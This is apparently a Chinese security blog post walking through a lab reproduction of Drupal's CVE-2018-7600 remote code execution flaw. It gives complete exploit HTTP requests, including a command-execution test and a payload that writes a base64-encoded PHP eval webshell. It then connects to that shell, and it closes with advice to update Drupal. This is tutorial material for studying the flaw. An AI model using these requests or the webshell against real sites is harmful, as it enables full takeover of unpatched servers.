这是一个分享号,跟大家分享学习的技巧和方法的同时也是小编们在督促自己学习的一个过程。学习是贵在坚持、日积月累,想学好网络安全就要,多多动手、多多实战才是你所需要修炼的“大成功法”。邻近今年网络安全大考,后面会跟大家分享各位师傅在今年hw中遇见的奇闻趣事,请持续关注,我们玩的就是真实!
前言
今天复现Drupal的远程代码执行漏洞,这个漏洞威胁等级为高危,攻击者可以利用该漏洞执行恶意代码,导致网站完全被控制。漏洞对应的CVE编号为CVE-2018-7600。
Drupal 6.x、7.x、8.x
如何查看版本
1. 浏览器访问以下资源链接
http://target_ip:port/core/CHANGELOG.txt
http://target_ip:port/CHANGELOG.txt
2. 指纹识别工具进行识别
推荐wappalyzer浏览器插件
漏洞复现
漏洞原理
Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用。2018年3月28日,Drupal安全团队披露了一个非常关键的漏洞,编号CVE-2018-7600 ,Drupal对表单请求内容未做严格过滤,因此,这使得攻击者可能将恶意注入表单内容,此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。
漏洞环境搭建
传送门vulhub的搭建
-
使用vulhub的环境进行搭建,进入到相关目录
-
执行docker-compose up -d 启动环境
-
浏览器访问 http://your_ip:8080
选择简体中文(这里小编因为英文水平比较拉胯😵所以选择中文)之后就是一路安装,数据库因没有MySQL数据库所以选择sqlite数据库。
-
安装成功
漏洞验证
用BurpSuite抓包然后右键选择发送到Repeater
修改发包如下所示,修改其中的HOST参数为目标站点的IP和端口即可用Burp发送
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: target_ip:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
效果如下图所示
-
由于是靶场,这里我们直接构造一个webshell payload, Drupal会过滤掉>,所以我们要想办法绕过,这里使用base64方式绕过
<?php eval($_POST['unknow']);?> //原始payload, 需要使用base64加密
# payload解释:将base64加密后的webshell使用base64解密之后写入unknow.php文件
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:port
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=echo "PD9waHAgQGV2YWwoJF9QT1NUWyd1bmtub3cnXSk7ID8+" |base64 -d |tee unknow.php
-
使用蚁剑测试连接unknow.php
-
成功getshell, 查看目标主机目录结构
修复意见
更新Drupal为最新版本
POC传送门,仓库正在加速建设中,欢迎贡献
unknowsec_poc:https://github.com/Unkn0wSec/unknowsec_poc
原文始发于微信公众号(不懂安全):CVE-2018-7600漏洞复现!嘎嘎详细
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论